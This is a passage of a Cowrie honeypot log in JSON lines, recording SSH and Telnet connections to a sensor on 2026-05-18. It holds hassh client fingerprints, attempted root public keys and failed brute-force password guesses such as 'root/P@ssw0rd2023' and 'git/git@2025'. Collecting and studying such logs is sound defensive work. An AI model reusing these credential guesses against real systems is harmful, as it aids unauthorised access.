{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:6c:bd:ce:4f:05:83:80:2b:79:30:85:39:c2:96:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE/+K9JxjpGNLordSm1sNTzaWPUW6UHK+Q9RdJHPBNDn0RE3dcZUEK28QpD63LS+F70HDAMb9lQH5oAMB0Dtedu/oKI9iDQgjh45H3HscwmfxVXHBAdyhvS8gwvBVj5K1bF+tszjBB+Ah5w6vRhtzO6WGQFpm6SzVNbr3idAXSLzgmfQrL9kBxwiFm8ic6uZEQRWSYmOShk+nL2ThUal30KcHBr/5U62MpPBjQhEENDgrmKsddJze+W3dheIuu0H0XJ6LrQuEj3sya1cHZSi6txEobi/YH4pnP3z7OrRvAbNTotkvnv6PgjS0PkcYG7sj4+SYD49mulgizU9OoaYd5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:6c:bd:ce:4f:05:83:80:2b:79:30:85:39:c2:96:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:18.192385Z","src_ip":"188.44.20.33","session":"f7d7047dbc47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:6c:bd:ce:4f:05:83:80:2b:79:30:85:39:c2:96:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE/+K9JxjpGNLordSm1sNTzaWPUW6UHK+Q9RdJHPBNDn0RE3dcZUEK28QpD63LS+F70HDAMb9lQH5oAMB0Dtedu/oKI9iDQgjh45H3HscwmfxVXHBAdyhvS8gwvBVj5K1bF+tszjBB+Ah5w6vRhtzO6WGQFpm6SzVNbr3idAXSLzgmfQrL9kBxwiFm8ic6uZEQRWSYmOShk+nL2ThUal30KcHBr/5U62MpPBjQhEENDgrmKsddJze+W3dheIuu0H0XJ6LrQuEj3sya1cHZSi6txEobi/YH4pnP3z7OrRvAbNTotkvnv6PgjS0PkcYG7sj4+SYD49mulgizU9OoaYd5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:18.196462Z","src_ip":"188.44.20.33","session":"f7d7047dbc47","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:3a:07:9d:e4:60:64:54:0d:9f:8f:5c:10:6f:52:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6TkA5xGJMo6DO/eCvyoUyT8AiASTJs/bpQPlLaamKV7a0Zg47G60YXtNOd7RlQHydyxpez/Rit8Y1ejuygFof5roogC8d1FhsHl5OGdtR0N1DPsNP9eP2lrORNU6VODfvwQ6DDF4w/9IZlw1LcgMW+xgAp8B1ucw1rjFGB7n6abX7ADlj3MH+b1MmLXfEGtbHIcjr4XFQaYILT8N1tD14vVie+72eQtQdzsXxbySNm3M+fm7uUvwd8erk1/leG8G9pkbmC3w6GBMSGhOysW+RVeNKUPmvTMMOKyYmeVX88LJmPT+rfbC9sSbrLKMQTGVmWw4aFoFRF712jwctwphJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:3a:07:9d:e4:60:64:54:0d:9f:8f:5c:10:6f:52:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:18.330458Z","src_ip":"188.44.20.33","session":"f7d7047dbc47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:3a:07:9d:e4:60:64:54:0d:9f:8f:5c:10:6f:52:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6TkA5xGJMo6DO/eCvyoUyT8AiASTJs/bpQPlLaamKV7a0Zg47G60YXtNOd7RlQHydyxpez/Rit8Y1ejuygFof5roogC8d1FhsHl5OGdtR0N1DPsNP9eP2lrORNU6VODfvwQ6DDF4w/9IZlw1LcgMW+xgAp8B1ucw1rjFGB7n6abX7ADlj3MH+b1MmLXfEGtbHIcjr4XFQaYILT8N1tD14vVie+72eQtQdzsXxbySNm3M+fm7uUvwd8erk1/leG8G9pkbmC3w6GBMSGhOysW+RVeNKUPmvTMMOKyYmeVX88LJmPT+rfbC9sSbrLKMQTGVmWw4aFoFRF712jwctwphJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:18.334705Z","src_ip":"188.44.20.33","session":"f7d7047dbc47","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:67:bc:06:4f:a0:30:6b:50:12:9f:cf:fa:31:e7:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2uTidX1AReoGrpfI8PpQV0Zhte1O5az8wRVqxZxSgZyt07DdNjBjuDg+0vZpqVL4x3BxQRATaOHnrUSJc6/O5HvaqiIxQFKdl/v8RV5GnhrvYGC3FnY9MgHEfl+ZnnA/t5UFfNHJVx0q32HRv8KtBqBtU8R/yjNryA2Jl90K1VCR+XxwPDcFAynXuHrznlldRPE1itZqc5WnSG2tgYd+ek1Sg1/PIVhlxhPCo8s0MD/cD+m5FVYz55vPCX/bmG7MFm+LUum2CMztD8ZqlX00KBSbg6L/gj+aPsBRqL8kRv0xlhI7xabQxpMv8uaM2p5WggFtt6kcYDIFfhYgkkqtL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:67:bc:06:4f:a0:30:6b:50:12:9f:cf:fa:31:e7:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:18.472048Z","src_ip":"188.44.20.33","session":"f7d7047dbc47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:67:bc:06:4f:a0:30:6b:50:12:9f:cf:fa:31:e7:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2uTidX1AReoGrpfI8PpQV0Zhte1O5az8wRVqxZxSgZyt07DdNjBjuDg+0vZpqVL4x3BxQRATaOHnrUSJc6/O5HvaqiIxQFKdl/v8RV5GnhrvYGC3FnY9MgHEfl+ZnnA/t5UFfNHJVx0q32HRv8KtBqBtU8R/yjNryA2Jl90K1VCR+XxwPDcFAynXuHrznlldRPE1itZqc5WnSG2tgYd+ek1Sg1/PIVhlxhPCo8s0MD/cD+m5FVYz55vPCX/bmG7MFm+LUum2CMztD8ZqlX00KBSbg6L/gj+aPsBRqL8kRv0xlhI7xabQxpMv8uaM2p5WggFtt6kcYDIFfhYgkkqtL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:18.475616Z","src_ip":"188.44.20.33","session":"f7d7047dbc47","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:a1:70:7e:02:4d:9f:d0:b2:7a:7e:b5:93:74:25:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe6kf95Z7JhA/oUSYi0qkn7Z/BnQn2Yj9qjSp/2rzkmdG067E13Dm6WR3Irh4YErHJn73xZ2RSfh7zQGx8r/HFKk4O7fJ3VwW0vjL4YJ/SBZeDZxQif/L3RoVEOF/UaTnHiIXCZdFLYyE0dD1NT11InHO5sYuozi8H9swcKMUmwACFtCgOht4ZnwyTzULO0wH9HjD4oimfjZWzUCVU1072YQZJDn1bECUsTIew45wAczm/36QQhavfrJ4rCfA249Kqpk0qIeAyZN4v5h4cGvoUEKkhgVzzcJJBy77OM5RYOlniF7TXUDF62SNYDAibmgKpIBR7zb2aec8OyxcXoF2N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:a1:70:7e:02:4d:9f:d0:b2:7a:7e:b5:93:74:25:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:18.607864Z","src_ip":"188.44.20.33","session":"f7d7047dbc47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:a1:70:7e:02:4d:9f:d0:b2:7a:7e:b5:93:74:25:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe6kf95Z7JhA/oUSYi0qkn7Z/BnQn2Yj9qjSp/2rzkmdG067E13Dm6WR3Irh4YErHJn73xZ2RSfh7zQGx8r/HFKk4O7fJ3VwW0vjL4YJ/SBZeDZxQif/L3RoVEOF/UaTnHiIXCZdFLYyE0dD1NT11InHO5sYuozi8H9swcKMUmwACFtCgOht4ZnwyTzULO0wH9HjD4oimfjZWzUCVU1072YQZJDn1bECUsTIew45wAczm/36QQhavfrJ4rCfA249Kqpk0qIeAyZN4v5h4cGvoUEKkhgVzzcJJBy77OM5RYOlniF7TXUDF62SNYDAibmgKpIBR7zb2aec8OyxcXoF2N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:18.611406Z","src_ip":"188.44.20.33","session":"f7d7047dbc47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:18.742570Z","src_ip":"188.44.20.33","session":"f7d7047dbc47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:19.199091Z","src_ip":"89.108.118.91","session":"16aceaf1f189","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54862,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a2a3dfeea66","protocol":"telnet","message":"New connection: 152.42.224.71:54862 (10.17.0.5:23) [session: 1a2a3dfeea66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:20.908572Z"}
{"eventid":"cowrie.session.closed","duration":53.11231446266174,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:26.054470Z","src_ip":"152.42.224.71","session":"110d9abbfb4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.02061319351196,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:37.174205Z","src_ip":"152.42.224.71","session":"1b55f72078a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":57842,"dst_ip":"10.17.0.5","dst_port":22,"session":"c05dc860a90c","protocol":"ssh","message":"New connection: 185.242.234.173:57842 (10.17.0.5:22) [session: c05dc860a90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:43.473413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:44.386271Z","src_ip":"185.242.234.173","session":"c05dc860a90c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:44.389813Z","src_ip":"185.242.234.173","session":"c05dc860a90c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2023","message":"login attempt [root/P@ssw0rd2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:45.253227Z","src_ip":"185.242.234.173","session":"c05dc860a90c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.41592264175415,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:45.642282Z","src_ip":"152.42.224.71","session":"039d9aac85f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:46.459511Z","src_ip":"185.242.234.173","session":"c05dc860a90c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38200,"dst_ip":"10.17.0.5","dst_port":23,"session":"22b622e96f24","protocol":"telnet","message":"New connection: 152.42.224.71:38200 (10.17.0.5:23) [session: 22b622e96f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:53:52.921309Z"}
{"eventid":"cowrie.session.closed","duration":98.3947925567627,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:02.477613Z","src_ip":"152.42.224.71","session":"1f4c2d2d7121","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":34492,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f6465f60d39","protocol":"ssh","message":"New connection: 49.51.200.156:34492 (10.17.0.5:22) [session: 7f6465f60d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:03.658043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:03.662978Z","src_ip":"49.51.200.156","session":"7f6465f60d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:03.841238Z","src_ip":"49.51.200.156","session":"7f6465f60d39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111","message":"login attempt [root/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:04.513588Z","src_ip":"49.51.200.156","session":"7f6465f60d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:05.661916Z","src_ip":"49.51.200.156","session":"7f6465f60d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":33098,"dst_ip":"10.17.0.5","dst_port":22,"session":"244e0dd55f21","protocol":"ssh","message":"New connection: 43.153.85.27:33098 (10.17.0.5:22) [session: 244e0dd55f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:06.178082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:06.182334Z","src_ip":"43.153.85.27","session":"244e0dd55f21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:06.355557Z","src_ip":"43.153.85.27","session":"244e0dd55f21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2025","message":"login attempt [git/git@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:07.024347Z","src_ip":"43.153.85.27","session":"244e0dd55f21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:08.194350Z","src_ip":"43.153.85.27","session":"244e0dd55f21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":44472,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c5a8d6e8068","protocol":"ssh","message":"New connection: 77.94.47.83:44472 (10.17.0.5:22) [session: 8c5a8d6e8068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:15.370275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:15.374602Z","src_ip":"77.94.47.83","session":"8c5a8d6e8068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:15.501538Z","src_ip":"77.94.47.83","session":"8c5a8d6e8068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456ru","message":"login attempt [root/123456ru] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:15.878162Z","src_ip":"77.94.47.83","session":"8c5a8d6e8068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:17.006063Z","src_ip":"77.94.47.83","session":"8c5a8d6e8068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56488,"dst_ip":"10.17.0.5","dst_port":23,"session":"00e29f2878eb","protocol":"telnet","message":"New connection: 152.42.224.71:56488 (10.17.0.5:23) [session: 00e29f2878eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:18.932859Z"}
{"eventid":"cowrie.session.closed","duration":41.42967200279236,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:34.350865Z","src_ip":"152.42.224.71","session":"22b622e96f24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":60340,"dst_ip":"10.17.0.5","dst_port":22,"session":"763bf3cd5470","protocol":"ssh","message":"New connection: 45.117.179.232:60340 (10.17.0.5:22) [session: 763bf3cd5470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:38.426825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:38.431551Z","src_ip":"45.117.179.232","session":"763bf3cd5470","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:54:38.681993Z","src_ip":"45.117.179.232","session":"763bf3cd5470","protocol":"ssh"}
